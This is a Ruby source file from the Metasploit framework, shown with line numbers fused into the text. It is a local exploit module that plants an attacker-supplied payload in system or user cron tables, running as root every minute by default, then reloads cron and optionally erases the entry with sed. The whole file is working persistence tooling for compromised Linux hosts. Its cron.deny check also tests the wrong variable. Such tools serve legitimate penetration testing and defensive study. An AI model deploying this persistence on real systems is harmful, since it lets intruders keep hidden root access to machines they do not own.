Path: blob/master/modules/exploits/linux/local/cron_persistence.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cron Persistence',17'Description' => %q{18This module will create a cron or crontab entry to execute a payload.19The module includes the ability to automatically clean up those entries to prevent multiple executions.20syslog will get a copy of the cron entry.21},22'License' => MSF_LICENSE,23'Author' => [24'h00die <[email protected]>'25],26'Platform' => ['unix', 'linux'],27'Targets' => [28[ 'Cron', { :path => '/etc/cron.d' } ],29[ 'User Crontab', { :path => '/var/spool/cron' } ],30[ 'System Crontab', { :path => '/etc' } ]31],32'DefaultTarget' => 1,33'Arch' => ARCH_CMD,34'Payload' => {35'BadChars' => "#%\x10\x13", # is for comments, % is for newline36'Compat' =>37{38'PayloadType' => 'cmd',39'RequiredCmd' => 'generic perl ruby python'40}41},42'DefaultOptions' => { 'WfsDelay' => 90 },43'DisclosureDate' => '1979-07-01',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48} # Version 7 Unix release date (first cron implementation)49)50)5152register_options(53[54OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),55OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),56OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])57], self.class58)59end6061def exploit62# https://gist.github.com/istvanp/310203 for cron regex validator63cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'64cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'65cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'66cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'67cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*68# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'69unless datastore['TIMING'] =~ /#{cron_regex}/70fail_with(Failure::BadConfig, 'Invalid timing format')71end72cron_entry = datastore['TIMING']73if target.name.include? 'User Crontab'74unless user_cron_permission?(datastore['USERNAME'])75fail_with(Failure::NoAccess, 'User denied cron via cron.deny')76end77else78cron_entry += " #{datastore['USERNAME']}"79end80flag = Rex::Text.rand_text_alpha(10)81cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later82case target.name83when 'Cron'84our_entry = Rex::Text.rand_text_alpha(10)85write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")86vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")87if datastore['CLEANUP']88register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")89end90when 'System Crontab'91file_to_clean = "#{target.opts[:path]}/crontab"92append_file(file_to_clean, "\n#{cron_entry}\n")93vprint_good("Writing #{cron_entry} to #{file_to_clean}")94when 'User Crontab'95file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"96append_file(file_to_clean, "\n#{cron_entry}\n")97vprint_good("Writing #{cron_entry} to #{file_to_clean}")98# at least on ubuntu, we need to reload cron to get this to work99vprint_status('Reloading cron to pickup new entry')100cmd_exec("service cron reload")101end102print_status("Waiting #{datastore['WfsDelay']}sec for execution")103Rex.sleep(datastore['WfsDelay'].to_i)104# we may need to do some cleanup, no need for cron since that uses file dropper105# we could run this on a on_successful_session, but we want cleanup even if it fails106if file_to_clean && flag && datastore['CLEANUP']107print_status("Removing our cron entry from #{file_to_clean}")108cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")109cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")110# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed111if target.name == 'User Crontab' # make sure we clean out of memory112cmd_exec("service cron reload")113end114end115end116117def user_cron_permission?(user)118# double check we're allowed to do cron119# may also be /etc/cron.d/120paths = ['/etc/', '/etc/cron.d/']121paths.each do |path|122cron_auth = read_file("#{path}cron.allow")123if cron_auth124if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/125vprint_good("User located in #{path}cron.allow")126return true127end128end129cron_auths = read_file("#{path}cron.deny")130if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/131vprint_error("User located in #{path}cron.deny")132return false133end134end135# no guidance, so we should be fine136true137end138end139140141